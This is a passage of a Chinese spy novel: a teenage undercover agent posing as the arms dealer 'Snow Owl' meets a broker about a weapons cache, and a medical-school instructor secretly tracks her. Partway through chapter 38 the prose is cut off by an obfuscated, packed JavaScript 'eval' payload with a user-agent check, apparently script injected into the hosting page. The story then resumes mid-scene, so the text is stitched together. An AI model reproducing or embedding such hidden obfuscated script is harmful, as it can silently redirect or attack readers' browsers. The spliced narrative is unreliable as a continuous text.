他没有说完,但意思明确——可能没有第三次机会。 “不会失败。”叶馨蒙说,听起来像在立flag。 战鹰站起身,表示会面结束。他伸出手——这是第一次,也是唯一一次肢体接触,像签约握手。 叶馨蒙握住那只手。触感坚硬如铁,力量很大,但控制在刚好显示优势的程度——像是在捏核桃。 “欢迎来到鹰巢,雪鸮。”战鹰说,第一次使用了她的代号,听起来有点怪,“希望你名副其实——别是鸽子。” 叶馨蒙点头,松开手。她的手心已经出汗,但表情依然镇定,像是刚开完会。 阮文雄走过来,递给她一张纸条:“明天早上八点,国际机场,T2航站楼,3号门。带上你的护照和必要的装备——牙刷也要。我们会安排好一切——机票我们买。” “明白。”叶馨蒙接过纸条,看了一眼:确实是航班信息,经济舱。 她转身离开,沿着来时的路走出厂房。她能感觉到背后的目光,像针一样刺在她的背上——也可能是心理作用。直到走出造船厂,回到自己的车上,锁上车门,她才允许自己长长地舒了一口气,肩膀垮下来。 成功了——暂时。她打入了鹰巢内部,获得了战鹰的初步认可,像通过了面试。 但也付出了代价:她承诺了两周内交付那批根本不存在的军火,而且必须在阮文雄的监视下去龟背岛找刘易斯——那个她从未见过、只知道名字和“前SAS”标签的中间人。像是答应带人去见网友,但网友可能不存在。 更糟糕的是,她知道了“战鹰”组织的真正计划:一场针对瑆洲的政变,而圣保罗医院是其中的关键目标——她还得去那里上学呢。 她发动汽车,驶离废弃造船厂。后视镜里,厂区的轮廓渐渐消失在夜色中,像一头重新潜伏回阴影的猛兽——或者只是废弃工厂。 她需要立刻联系庞教官,汇报一切(肯定要挨批),然后制定下一步计划。军火的问题必须解决(怎么解决?),刘易斯必须找到——或者,至少要让阮文雄相信她找到了(怎么相信?)。 还有两周时间。 十四天,要么彻底赢得“战鹰”的信任,要么彻底暴露——物理意义上的。 没有中间选项——像考试,要么过,要么挂。 车子驶入市区,灯光重新包围了她。叶馨蒙看着窗外繁华的街道,突然感到一阵荒谬:这座城市的人们正平静地生活着,购物、用餐、回家、刷手机,对即将降临的风暴一无所知——像暴雨前的蚂蚁。 而她,一个十九岁的女孩(还要写作业),正试图单枪匹马地阻止这一切——用谎言和伪装。 不,不是单枪匹马。她有庞教官,有组织,有后勤支持(虽然报销很慢),还有……尹柏萧。 想起那个医学院教官的名字,她心里突然安定了一些。尹柏萧是她在另一个世界的连接点,是她作为“叶馨蒙”存在的证明——虽然他总是很严格。 她需要那个证明。需要记得自己是谁,在为谁而战——虽然有时会忘。 手机震动。一条加密信息: “汇报情况。安全级别:最高。——另,你的化学老师说作业再不交要扣分了。” 叶馨蒙叹了口气,将车停在路边(违章停车),开始输入回复。她的手指在键盘上快速移动,将今晚的一切——战鹰的面貌(凶)、政变计划(夸张)、军火承诺(危险)、龟背岛之行(麻烦)——尽可能详细地汇报,像写作文。 发送前,她犹豫了一下,然后加上了一句话: “请求指示:如何处理军火问题?刘易斯是否可靠?——另,作业能晚点交吗?” 几秒后,回复传来,很快: “收到。明天机场见面前,来安全屋详谈。关于刘易斯……我们有计划(不能说)。保持冷静,你做得很好。——作业不能,自己想办法。” 叶馨蒙看着最后那句话——“你做得很好”——突然感到眼眶发热。她迅速眨眨眼,把情绪压下去,像是眼里进了沙子。 不能软弱。不能动摇。不能哭——妆会花。 她是小金环蛇(毒但小),也是雪鸮(猛但假)。 她必须记住这两者都是她,也都不是她——像人格分裂,但有薪水。 车子重新驶入车流。前方,瑆洲的夜晚依然灯火辉煌,像一场永不结束的盛宴——自助餐那种。 而在盛宴的阴影里,猎鹰已经展翅(可能有点老),毒蛇已经出洞(可能迷路)。 而黎明,还远未到来——还有十四个日出。 叶馨蒙看了眼时间:十一点二十。还能睡六小时,如果睡得着的话。 她踩下油门,朝安全屋驶去。明天要早起,要赶飞机,要演戏,要骗人,还要——写化学作业。 成年人的生活,真不容易。即使她才十九岁。 38. 军火之谜 龟背岛的雨季把整座城市浸泡在闷热与潮湿中,空气黏稠得像刚熬好的糖浆。午后两点,阳光艰难地穿透厚重的云层,在满是积水的街道上投下惨白的光斑,像是天空打了补丁。 叶馨蒙——此刻是拉特娜·维贾亚——坐在“老港咖啡馆”靠窗的位置,面前的一杯爪哇咖啡已经凉了,表面结了一层难看的油膜。她穿着浅灰色的亚麻衬衫和长裤(吸汗但易皱),头发松松地束在脑后(故意留了几缕碎发),看起来像个普通的商务旅客——那种一边喝咖啡一边回工作邮件的人。只有仔细看,才能发现她手腕上戴着一只特殊的手表,表盘下隐藏着微型定位器和警报器,还能测心率。 阮文雄坐在她对面,穿着与瑆洲时相同的灰色西装(可能真的只有这一套),在这个炎热的港口城市显得格外突兀——像企鹅在热带。他不时用手帕擦拭额头的汗(手帕叠得很整齐),但眼神始终锐利,扫视着咖啡馆内外的每一个细节,像是在找卫生死角。 “你的朋友迟到了。”阮文雄说,第三次看表——他的表很贵,但汗可能影响走时。 “刘易斯从不迟到。”叶馨蒙平静地说,用勺子搅了搅凉透的咖啡,“他只是喜欢确认环境安全。现在,他应该已经绕咖啡馆走了两圈,检查了所有出口,观察了每一位客人——包括那个打瞌睡的流浪汉。” 这是庞教官给她的信息:前SAS成员约翰·“刘易斯”·麦卡锡有着近乎偏执的谨慎,可能因为之前被坑过。任何会面,他都会提前至少一小时到场侦察,像猫在观察领地。 果然,三分钟后(很准时),一个男人走进了咖啡馆。 他看起来五十多岁,身材保持得很好(可能常健身),穿着普通的卡其裤和Polo衫(polo衫塞进裤子里),像任何一个来港口办事的外籍商人。但他走路的姿势暴露了训练背景——步伐稳健,步距精确,肩膀放松但随时可以发力,像是随时准备打架或逃跑。他的眼睛是浅蓝色的,快速扫过整个空间,在叶馨蒙和阮文雄身上停留了半秒(像是在估价),然后走向他们的桌子,没有犹豫。 “维贾亚女士。”刘易斯用带着英国口音的英语说,声音低沉,像低音提琴,“很久不见——上次见你是去年,在曼谷。” “刘易斯。”叶馨蒙站起身,与他握手。她能感觉到对方手掌的老茧(像砂纸),还有那试探性的握力——他在测试她,看她的手劲和反应。 阮文雄也站起身,但刘易斯没有与他握手,只是点了点头,眼神冷淡:“这位是?” “我的新合作伙伴,阮先生。”叶馨蒙介绍,手势专业,“阮先生,这是约翰·麦卡锡,我们都叫他刘易斯——他不喜欢被叫全名。” 三人重新落座,椅子发出轻微的摩擦声。服务员过来,刘易斯点了一杯黑咖啡(不加糖不加奶),然后直入主题,像是赶时间:“你在通讯里说,需要处理那批‘存货’——我猜不是红酒。” “是的。”叶馨蒙说,身体微微前倾,“我的新雇主对它们很感兴趣。我们需要交接——越快越好,他们有急用。” 刘易斯沉默地喝着刚送来的咖啡(很烫,但他面不改色)。咖啡馆里播放着爪哇传统的甘美兰音乐,轻快的旋律与桌边紧张的气氛形成鲜明对比——像是葬礼上放生日歌。 “那批货的情况有点复杂。”刘易斯最终说,没有看阮文雄,像是在对叶馨蒙单独说,“存放地点最近……引起了注意。当地警方在附近加强了巡逻(可能因为邻居投诉),转移需要额外的时间和资源——还要打通关系。” “时间不是问题。”阮文雄插话,语气有点急,“但我们必须在两周内看到货物——不能再拖。” “两周。”刘易斯笑了,那笑容里没有任何温度,像是冰箱门开了,“维贾亚女士,你没告诉你的新朋友,那批货是什么性质的吗?它们不是可以随便塞进行李箱的东西。” 叶馨蒙心里一紧。这是她最大的盲点——她只知道是一批“军火”,但具体种类、数量、存放条件,她一无所知。庞教官给她的信息有限,只说“足够武装一个小型突击队”——但突击队多大?五人?十人? “阮先生了解基本情况。”她谨慎地说,选择模糊回应,“但他需要更多细节来做安排——比如运输工具的大小。” 刘易斯盯着她看了几秒,那目光锐利得几乎能穿透伪装,像是X光。然后他转向阮文雄,开始报清单,像在念购物单: “十五支M4□□,配套消音器和全息瞄准镜(瞄准镜电池可能需要换)。五支□□M82反器材步枪(很重)。二十把□□19手枪(9毫米,通用弹药)。炸药部分:五十公斤C4(塑性好),一百枚破片手雷(小心搬运),三十枚烟雾弹(有色的)。还有通讯设备:十套加密无线电(频率可调),两套无人机侦察系统(续航四小时)。” 他每说一样,阮文雄的眼睛就亮一分,像是看到了打折商品。这确实是“战鹰”急需的装备——不仅数量充足,而且种类齐全,从近距离战斗到远程狙击,从爆破到电子战,一应俱全,像军火超市。 “存放条件?”阮文雄问,像是问冰箱温度。 “地下仓库,恒温恒湿(像酒窖)。”刘易斯说,喝了口咖啡,“但我必须提醒你:这些不是玩具。它们是专业装备,需要专业的人员操作和维护(有说明书但很厚)。而且……”他看了叶馨蒙一眼,眼神微妙,“它们已经存放了八个月,有些电子部件可能需要检测(可能受潮)。” 八个月。叶馨蒙心里计算着时间线——八个月前,正是真正的雪鸮在瑆洲活动的高峰期。这批军火应该是她为某次行动准备的,但不知为何一直没有使用——可能是计划取消,也可能是备用。 “检测和运输,需要多久?”阮文雄问,像是在问快递时间。 “三周。”刘易斯说,语气不容商量,“前提是资金到位。五十万美元,预付一半。不接受谈判(不接受优惠券)。” 这个价格高得离谱(够在瑆洲买个小公寓),但阮文雄几乎没有犹豫:“可以。但我们要派一个人全程监督交接——确保质量。” “不行。”刘易斯直接拒绝,放下咖啡杯,“这是我的规矩:交易过程只有我和委托人。维贾亚女士知道这一点(应该知道)。” 他把问题抛给了叶馨蒙。这是第二个测试——如果她真的是雪鸮,就应该知道刘易斯的规矩;如果不是,就会露出破绽,像是不知道餐厅不能自带酒水。 “规矩可以破例。”叶馨蒙说,决定冒险——反正已经在冒险了,“这次的交易量太大,我的雇主需要保障——就像买贵重物品要验货。” 刘易斯盯着她,那双浅蓝色的眼睛里有什么东西在闪烁——可能是惊讶,也可能是算计。叶馨蒙几乎以为他要揭穿她了(心跳加速),但最终,他只是点了点头,像是妥协了。 “既然你这么说……好吧。但只能一个人,而且必须由我指定时间和地点——我会提前两小时通知。” “可以。”阮文雄说,语气满意,“我会亲自监督——带现金。” 接下来的半小时,他们敲定了细节:交接地点在爪哇中部的一个废弃橡胶园(偏僻,但路况差),时间是十天后(足够准备)。刘易斯会提前准备好所有装备(打包好),阮文雄带钱和运输工具到场(要大车)。叶馨蒙作为中间人,负责协调但不必到场——这是刘易斯坚持的,理由是她“太显眼”(可能只是不想她在场)。 会面结束时,刘易斯站起身,最后看了叶馨蒙一眼,眼神复杂:“维贾亚女士,单独说句话?——关于上次那批货的尾款。” 叶馨蒙看了阮文雄一眼,后者微微点头,但眼神警惕。两人走到咖啡馆的角落,远离其他客人(还有那台嗡嗡响的制冰机)。 刘易斯的声音压得很低,用的是爪哇语——叶馨蒙练过,但不太流利:“你不是她。” 叶馨蒙的心脏几乎停止跳动,像是突然断电。她控制住表情(肌肉有点僵),也用爪哇语回答,带着口音:“我不明白你的意思。——我听不懂爪哇语。” “拉特娜·维贾亚左耳后面有一道疤,三厘米长,是刀伤——2008年在棉兰留下的。”刘易斯说,声音平静得像在谈论天气,“你没有。而且,她叫我‘约翰’,不是‘刘易斯’。我们是二十年的朋友,从她还是大学生时就认识——那时她还不会用枪。” 完蛋了。叶馨蒙的大脑飞速运转,寻找任何可能的应对——逃跑?否认?但刘易斯接下来的话让她愣住了,像被按了暂停键: “但我不在乎你是谁。”他说,语气突然变得温和了些,“我只在乎那批货。真正的拉特娜三个月前联系过我,说她可能有大麻烦(没说具体),如果她出事,会有人以她的名义来找我。她让我配合,但要把交易拖到极限——能拖多久拖多久,像拖延症。” 叶馨蒙震惊地看着他,嘴巴微张。这是庞教官从未提及的信息——可能是不知道,也可能是故意不说。难道真正的雪鸮早就预料到自己会被捕?还是这本身就是陷阱的一部分? “为什么告诉我这些?”她问,声音很轻,像是怕被听见。 “因为我看得出来,你不是坏人。”刘易斯说,目光落在她手腕上——那里,手表的表带下,隐约露出一个细小的疤痕,是她小时候摔伤留下的,“但你卷进了很糟糕的事。阮文雄是战鹰的人,我知道那个组织。他们不是普通的雇佣兵,他们是恐怖分子,想把整个地区拖进战火——为了钱,或者别的。” “那你为什么还同意交易?” “为了控制局面。”刘易斯说,看了看阮文雄的方向(后者正盯着手机),“如果我拒绝,他们会找其他渠道,那样我更无法掌握情况。至少现在,我知道交易的时间地点,知道他们会派谁来。而且……”他停顿了一下,声音更低了,“真正的拉特娜在通讯里说,如果来接洽的人不是她,就把这个交给你——她说你可能需要。” 他从口袋里取出一个极小的金属胶囊(像药丸),塞进叶馨蒙手里,动作很快。 “现在回座位去。表现得一切正常。”刘易斯说,拍了拍她的肩膀,像老朋友道别,“十天后阮文雄会去橡胶园。那里什么都没有,只有一场空等(和蚊子)。我会在那之前消失。而你……看看胶囊里的东西,然后决定怎么做——别在阮文雄面前看。” 他转身离开了咖啡馆,步伐依然稳健,没有回头。 叶馨蒙站在原地,手心里金属胶囊的触感冰冷而沉重。她深吸一口气(咖啡味和汗味),调整好表情(微笑练习过),回到座位上。 “谈得怎么样?”阮文雄问,目光锐利,像探照灯。 “他确认了细节。”叶馨蒙说,声音平稳,拿起凉咖啡喝了一口(难喝),“十天后,橡胶园。但他要求交易前一天才通知具体坐标,这是他的安全程序——很麻烦,但没办法。” 阮文雄点头,似乎接受了这个解释。他叫来服务员结账(用现金),两人走出咖啡馆。 龟背岛的午后阳光炽烈,像烤箱。街道上弥漫着油炸食品和海腥味混合的气味,还有摩托车尾气。阮文雄拦下一辆出租车(破旧),对叶馨蒙说:“我还有些事要处理(可能是买防晒霜)。你先回酒店,晚上我们复盘今天的会面——写报告。” “明白。” 叶馨蒙独自坐上另一辆出租车(更破)。车子驶入拥挤的车流后(堵车),她才敢摊开手掌,看着那枚金属胶囊。它只有指甲盖大小,银灰色,一端有个微小的旋钮(像螺丝)。 她犹豫了几秒(司机从后视镜看她),然后拧开胶囊——有点紧。 里面是一张卷得极紧的纸条(像迷你卷轴),还有一张微型存储卡(指甲盖大小)。纸条上用极小的字体写着,字迹工整: “如果你看到这个,说明我已经失去自由,而你正在扮演我。存储卡里有你需要知道的一切(密码:NW1910)。小心刘易斯——他是双面间谍,既为我工作,也为鹰巢工作。他不知道我已经知道(现在你知道了)。游戏很危险,祝你好运。” 落款是一个简单的爪哇字符,意思是“猫头鹰”——雪鸮的另一种称呼。 叶馨蒙的心沉了下去,像石头入水。双面间谍。这意味着刘易斯刚才那番话可能是表演,是为了试探她,或者是为了获取她的信任(然后背叛)。而存储卡里的“一切”,可能是情报,也可能是病毒,或者是其他陷阱——像潘多拉盒子。 她迅速将纸条撕碎(纸很韧),扔出车窗。碎片在热风中四散,像雪花。存储卡则被她放进一个特制的防爆袋——这是庞教官给她的标准程序,任何未经检测的电子设备都必须隔离,像隔离病人。 回到酒店房间(三星级,空调不太灵),叶馨蒙第一时间联系了庞教官,通过加密频道汇报了今天发生的一切,包括刘易斯的双重身份警告和金属胶囊。 庞教官的回复很简短,像是电报:“存储卡带回瑆洲分析(不要自己看)。继续扮演角色,但提高警惕(睡觉也要睁一只眼)。刘易斯可能是三重间谍——为我们工作,为‘雪鸮’工作,也为鹰巢工作。在这种游戏中,忠诚是流动的(像水)。” 忠诚是流动的。叶馨蒙关上通讯设备,站在酒店房间的窗前(窗户外有防盗网),看着龟背岛港的夜景。远处,货轮的灯光在黑暗的海面上连成一条光带,像一条通往未知的路径——也可能是死路。 她想起了刘易斯那双浅蓝色的眼睛。那里有坦诚(可能),也有算计(肯定);有关切(假装),也有冷漠(真实)。一个人怎么能同时扮演这么多角色而不发疯?可能是天赋,也可能是已经疯了。 也许这就是特工的本质:分裂的自我,永远在多重身份间切换,直到忘记哪个才是真实的自己——像换衣服,但换的是人格。 接下来的几天,叶馨蒙和阮文雄在龟背岛继续“准备工作”,像在度假,但更累。阮文雄联系了运输渠道(走私船),确认了资金流转路径(地下钱庄),还暗中调查了刘易斯的背景——得到的反馈是“可靠但昂贵”(确实),与叶馨蒙提供的信息一致。 但叶馨蒙能感觉到,阮文雄对她的监视更加严密了。她的房间被偷偷搜查过——手法专业,几乎不留痕迹,但她提前放置的几根头发(不同颜色)和细微的粉末标记(面粉)都被动过。她的通讯设备也被扫描(有记录),好在加密等级足够高,没有被破解——可能。 第七天晚上(在龟背岛的最后一晚),事情出现了意想不到的转折,像电视剧剧情。 叶馨蒙刚回到酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你是谁?”叶馨蒙问,手自然地垂在身侧,靠近枪套(三厘米)。 “一个想和你做交易的人。”男人说,停在五米外,“我知道你不是真正的拉特娜·维贾亚(很多人知道)。我也知道刘易斯在玩双重游戏(可能三重)。但我能给你真正需要的东西:那批军火的下落——部分。” 叶馨蒙保持警惕,眼睛快速扫视四周(可能有埋伏):“为什么帮我?——要钱?” “因为我不喜欢战鹰。”男人简单地说,语气厌恶,“他们太激进,会毁掉一切(包括我的生意)。而且……我欠真正的拉特娜一条命。如果她选择你作为替身,我就帮你——算是还债。” “证明。——空口无凭。” 男人从口袋里掏出一张照片(有点皱)扔给叶馨蒙。照片在空中旋转,她接住(手稳)。照片上是一个地下仓库的入口(铁门),门上有一个特殊的爪哇符文标记——根据情报,那是雪鸮使用的安全标记之一(像签名)。 “这是存放地点之一。”男人说,没有走近,“在龟背岛南郊的一个废弃教堂地下室。里面有三分之一的装备(轻武器)。另外两个地点,我需要保障才告诉你——不能一次全给。” “你要什么保障?——钱?” “钱。五万美元,现金(旧钞)。还有,我需要你保证,这些武器不会用在瑆洲的平民身上(我有人在那里)。” 叶馨蒙盯着照片,仔细看。如果这是真的,那确实是重要的突破——至少能拿到部分军火,向鹰巢交差。但如果是陷阱(可能性大)…… “我怎么知道这不是刘易斯或者阮文雄的测试?——你们可能是一伙的。” “你不必知道。”男人说,语气有点不耐烦,“你只需要决定是否冒险。今晚之前,给我答复。老地方,纸条——别写名字。” 他转身要走(步伐很快),叶馨蒙叫住他:“等等。你至少给我个称呼。——我不能叫你‘喂’。” 男人停顿了一下,没有回头,声音传来:“叫我‘渔夫’。因为我在这个港口捞了太多鱼(合法和非法),现在想捞点不一样的。——比如,真相。” 他消失在阴影中,脚步声远去。叶馨蒙站在原地,手里的照片有点湿(手心出汗)。 晨雾开始散去,阳光透过窗户照进来(有点刺眼),照亮了空气中的尘埃(很多)。叶馨蒙看着照片上的爪哇符文标记,在光线下清晰可见——确实是雪鸮的风格。 她想起了庞教官的话:“在这种游戏中,忠诚是流动的。” 也许“渔夫”是真实的盟友(10%)。 也许他是第四重间谍(70%)。 也许他只是个想赚钱的投机者(20%)。 没有时间深入调查。阮文雄正在酒店等她(约了早餐),今天他们要飞回瑆洲(中午航班),向战鹰汇报进展(要写PPT)。 叶馨蒙将照片收好(放内袋),走出仓库。港口的晨光有些刺眼(没戴墨镜),工人们开始了一天的工作,吊车启动的声音回荡在空气中(很吵)。 她需要做出决定:是否相信“渔夫”?是否要绕过刘易斯,直接获取部分军火?如果她这么做了,会对整体计划产生什么影响?庞教官会同意吗? 更重要的是,如果“渔夫”是鹰巢的人,这整个接触就是一场精心设计的表演,目的是测试她是否会私下行动,背叛组织——那么不去回应,也可能被视为“不够主动”。 双重身份已经够复杂了,现在又出现了第三重、第四重的可能性。像是在玩俄罗斯套娃,但每个娃娃都可能爆炸。 叶馨蒙深吸一口带着海腥味的空气(有点恶心),走向出租车停靠点(有辆破车在等)。 在回酒店的路上(堵车),她做出了决定:暂时按兵不动。将“渔夫”的信息汇报给庞教官(加密),让组织决定下一步(他们更懂)。而她,继续扮演雪鸮,继续这场危险的游戏——像走钢丝。 因为在这个游戏中,任何冲动的决定都可能是致命的(字面意思)。 而她还不想死(还有很多事没做)。 至少,不是现在(作业还没写完)。 出租车驶入龟背岛早晨的车流(摩托车很多)。叶馨蒙看着窗外飞逝的街景:早餐摊、上学的小孩、卖报纸的老人……突然想起了瑞华高中的化学实验室,想起了那些简单的方程式,那些可以预测的反应(只要条件对)。 如果人生也能像化学反应一样就好了:已知的反应物,已知的条件,可预测的产物——没有意外,没有背叛,没有“多重间谍”。 而不是像现在这样:每个人都是未知的变量,每个选择都可能引发连锁爆炸(物理或心理)。 她闭上眼睛(有点累),让自己休息几分钟(只能几分钟)。 回到酒店后,还有另一场表演在等着她——对阮文雄汇报“一切正常”。 而这场表演,不能有任何失误。 一个表情,一个眼神,一个语气词,都可能暴露。 叶馨蒙摸了摸口袋里的照片,硬硬的。 窗外,龟背岛的太阳完全升起了,热浪开始翻滚。 新的一天,新的谎言,新的危险。 她深吸一口气,准备下车。 演出继续。 39. 教官的注视 圣保罗医院的图书馆在周五下午通常很安静,只有少数备考的年轻医生呆在自习区,书页翻动的声音和键盘敲击声在挑高的空间里轻轻回荡,像是某种学术白噪音。 尹柏萧坐在靠窗的位置,面前摊开着几本厚重的医学教材,正认真阅读着——《临床药理学》第437页,关于某种罕见神经毒素的解毒机制。他看得仔细,但脑子里同时在处理另一件事:昨天截获的一条加密信息片段,提到“鹰巢”和“圣保罗”两个词,联系方式不详。 他的手指无意识地敲击着桌面,节奏是摩斯密码里的“待命”。 “尹教官?” 轻柔的声音将他从思域中拉回。尹柏萧转过头,看见叶馨蒙站在桌边,手里抱着几本化学和生物参考书。她穿着瑞华高中的校服(熨过但有点皱),头发扎成简单的马尾(碎发很多),脸上带着恰到好处的礼貌笑容——一个标准的好学生形象,像教科书插图。 但他注意到了细节——职业病使然:她的眼底有淡淡的阴影,那是睡眠不足的痕迹(可能熬夜);她握书的手指指节微微发白,那是紧张的表现(可能怕考试);还有她站立的姿势,看似放松,但重心平衡得过分完美,那是受过专业训练的人才会有的下意识反应(也可能学过舞蹈)。 “馨蒙。”尹柏萧微笑点头,指了指对面的椅子,“坐。上次的模拟试卷带来了吗?——希望比上次好。” “带来了。”叶馨蒙坐下,从书包里取出文件夹(普通蓝色),动作有点急,“生物部分错了三道选择题,化学的大题第二问完全没思路——题目出得太偏了。” 尹柏萧接过试卷,快速扫了一眼。错误确实存在,但错得很“聪明”——不是不会,而是故意选错了一些中等难度的题目,保持了整体分数在一个合理的优秀范围(87分),既不会太突出引人注意,又足够通过医学院的预录取线(85分)。像是精心计算过。 “我们先看这道生物题。”他拿起笔,在草稿纸上画出一个细胞结构图,线条流畅,“线粒体的功能你应该是知道的(课本第23页),但题目问的是在特定药物作用下的变化——这需要结合药理学知识。” 他讲解着,声音平稳专业(练过),但一部分注意力始终在观察叶馨蒙。她的眼神跟随他的笔尖移动(专注),不时点头(配合),提出问题也恰到好处(“这里为什么不是主动运输?”)。一切都那么自然,那么完美。 太完美了。 完美的学生,完美的错误,完美的进步曲线。 尹柏萧的直觉在报警。 “化学键的断裂需要多少能量?”他突然问,问题跳跃。 叶馨蒙愣了一下,但很快回答:“326千焦每摩尔。——但不同键型有差异。”回答准确,反应时间1.2秒,正常。 “很好。”尹柏萧点头,继续讲题,“现在来看你的错题……” 辅导进行了四十分钟(标准时长)。期间,叶馨蒙的手机震动了三次。第一次她看了一眼(表情不变),没有理会;第二次她按掉了(动作自然);第三次,她瞥了一眼屏幕(眼神微变),然后对尹柏萧露出抱歉的表情:“对不起教官,我可能需要回个紧急信息。——家里的事。” “请便。”尹柏萧说,做出理解的表情。 叶馨蒙拿起手机走到阅览区外的走廊。尹柏萧假装继续看书(书拿反了又正过来),但耳朵竖起,捕捉着外面的动静。她的声音很低,几乎听不清(隔音不错),但几个关键词还是飘了进来,断断续续: “……确认了……龟背岛……下周……码头……” 龟背岛。瑆洲著名旅游海岛城市。 尹柏萧的瞳孔微微收缩。他最近从内部情报渠道听说(机密级),鹰巢旗下的“战鹰”小组在瑆洲有活动,似乎在寻找一批失踪的军火(型号不详)。而叶馨蒙在这个时候提到龟背岛,是巧合吗? 不,情报工作不相信巧合。只相信概率和证据。 叶馨蒙很快回来了(两分十七秒),脸上重新挂上歉意的微笑:“家里有点事,已经处理好了。我们继续吧?——刚才讲到哪了?” “离子通道。”尹柏萧说,指了指试卷,“继续。” 辅导在五点半结束(准时)。叶馨蒙收拾好东西,礼貌地道谢告别(“谢谢教官,下周见”),然后离开了图书馆。尹柏萧透过窗户看着她穿过医学院的庭院,步伐轻快,马尾摇摆,像个普通高中生。 但他注意到:她没有直接回高中部,而是绕了点路,经过药理学实验楼时脚步放慢了一秒——像是在确认什么。 尹柏萧没有立刻离开。他等了五分钟,直到她的身影完全消失,才从包里取出一个看似普通的平板电脑(军规防震)。解锁后,屏幕上不是医学资料,而是一个加密的监控界面——他私设的,没报备。 他调出医学院周边六个摄像头的实时画面(角度覆盖)。在第三个画面里,他找到了叶馨蒙——果然,她没有直接回高中部,而是绕到了医学院的实验楼后面,那里有一片小树林通常很少有人去(除了情侣和抽烟的学生)。 尹柏萧放大了画面。由于角度和树木遮挡,看不太清楚(像素有限),但他能辨认出叶馨蒙在树林边缘停了几秒(左右看了看)似乎在检查什么,然后弯腰从一棵老榕树的树洞里(离地一米二)取出了一个小包裹(深色)。动作很快,很自然,像是做了无数次(可能真的做了无数次)。 她把包裹放进书包(拉链声听不见),然后若无其事地继续走向宿舍,还哼起了歌(听不见调)。 尹柏萧关闭监控界面,身体向后靠在椅背上(椅子吱呀)。树林里的那个树洞,他上个月就注意到了——那是情报工作中常见的“死信箱”,用于不见面传递物品。当时他以为是医学院里哪个学生在玩间谍游戏(年轻人爱模仿),或者是有员工在进行不正当交易(卖考题?)。 但现在看来,使用者是叶馨蒙。 他再想起最近接到的另一则情报简报(加密邮件):有一个年轻女性特工已经成功渗透进“战鹰”小组(进展顺利),简报没有提供更多细节(保密),只说她目前在瑆洲活动,年龄在18到25岁之间(范围广),擅长伪装和近身格斗(要求高)。 19岁。女性。在瑆洲。 尹柏萧的手指在桌面上轻轻敲击(摩斯码:疑问)。如果是叶馨蒙……问题就复杂了。 尹柏萧自己的身份也是双重的:表面是圣保罗医学院的教官(有委任书),实际上是军部特训处的高级军官(少将衔),他的直接上级是总参谋部,与叶馨蒙所属的A军区没有直接交集——事实上,两个系统之间存在竞争和情报壁垒(历史悠久)。 这意味着,即使他确认叶馨蒙打入战鹰小组,也不能直接协助她。不同的指挥链,不同的行动规则,贸然介入可能会破坏她的任务甚至危及她的安全(好心办坏事)。 但他也不能什么都不做(良心不安)。 尹柏萧收拾好东西(书很重),离开了图书馆。傍晚的医学院很安静(周末前),夕阳把建筑物的影子拉得很长(像伸展)。他穿过庭院,没有回自己的办公室,而是走向医学院的地下停车场(B2层)。 他的车是一辆普通的灰色轿车(三年车龄),看起来毫不起眼(故意)。但坐进驾驶座后,他按下中控台上的一个隐蔽按钮(在杯架下方),仪表盘下方滑出一个平板大小的控制面板(触屏)。 他输入密码(16位),启动系统。屏幕上显示出瑆洲市区的电子地图(民用版),几十个光点在地图上闪烁,每一个都代表一个监控设备或传感器——这是他在过去两年里,以个人权限在医学院和周边区域布设的私人监控网络(自费)。没有上报,没有记录,完全出于他自己的职业习惯和对这个区域重要性的认识(圣保罗医院是战略点)。 他调出过去一周的数据,筛选出所有捕捉到叶馨蒙影像的记录(面部识别,准确率92%)。系统自动生成了她的行动轨迹图(红线): 周一:上午在校(正常),下午请假“看牙医”(假条有),但实际上去了城西的老工业区(监控拍到),在一栋旧楼里停留两小时十七分钟(长时间)。 周二:正常在校(上课),但晚上七点离开宿舍(监控),在医学院的实验楼附近活动四十三分钟——就是取那个包裹的时间(吻合)。 周三:全天在校(无异常),但午餐时间在食堂接了十分钟电话(背对摄像头)。 周四:再次请假,理由是“亲戚来访”(老借口),但监控显示她去了机场(出租车),乘坐下午的航班飞往龟背岛(航班号MU543),当晚返回(红眼航班)。 周五:也就是今天,正常在校,现在刚结束辅导。 尹柏萧的手指在地图上滑动,将叶馨蒙的行动轨迹与最近的情报简报进行叠加对比(脑内)。几个关键点重合了: 老工业区的那栋旧楼,情报显示最近有可疑人员出入(不明),怀疑是某个组织的安全屋(可能)。 飞往龟背岛的航班时间,与“战鹰”小组在爪哇活动的时间线吻合(情报提及)。 而今天她取的那个包裹……尹柏萧调取包裹的放大图像(增强处理),虽然模糊,但能看出是一个扁平的长方形物体,大约二十厘米长,十厘米宽,厚度不超过三厘米(像书)。 从形状判断,可能是文件(纸质),也可能是特殊设备(电子)。 他切换界面,接入交通监控系统(临时权限)——这是他通过军方权限获取的临时接入码(每次使用都会留下记录),但他现在顾不了那么多了(紧急)。 追踪叶馨蒙离开医学院后的路线(实时)。她乘坐地铁(刷卡),在中央公园站下车(人多),然后步行进入公园(绿地)。公园内部的监控很少(隐私),但外围的摄像头捕捉到她在一个公共电话亭旁停留了三分钟(看手机)。 公共电话亭。在这个人人有手机的时代使用公共电话只有一个原因:避免被追踪(或没话费)。 尹柏萧皱起眉头。叶馨蒙的谨慎程度超出了普通学生的范畴,甚至超出了普通特工的范畴(像老手)。她似乎在执行一个极其敏感、危险系数极高的任务(深度渗透)。 就在这时,他的加密通讯器震动了(贴身)。不是手机(放一边),而是他作为军方情报官的专用设备(黑色,无标识)。 他接通,一个经过变声处理的声音传来(机械感):“尹少将,紧急通知。‘鹰巢’活动出现意外进展(级别升)。我们监听到战鹰小组的通讯(部分破译),他们确认已经招募到一个代号‘雪鸮’的新成员,此人声称掌握一批重要军火(数量不明)。‘雪鸮’的真实身份是拉特娜·维贾亚,爪哇籍特工(有记录),但我们怀疑这个身份是伪装的(证据不足)。” 尹柏萧的心脏猛地一跳(生理反应):“伪装?” “是的。根据爪哇方面的情报(交换),真正的拉特娜·维贾亚三个月前就被捕了,目前关押在高度设防的设施中(地点保密)。现在出现的这个‘雪鸮’很可能是我们的人(希望),或者其他势力伪装的(可能)。” “有具体线索吗?”尹柏萧问,声音平稳。 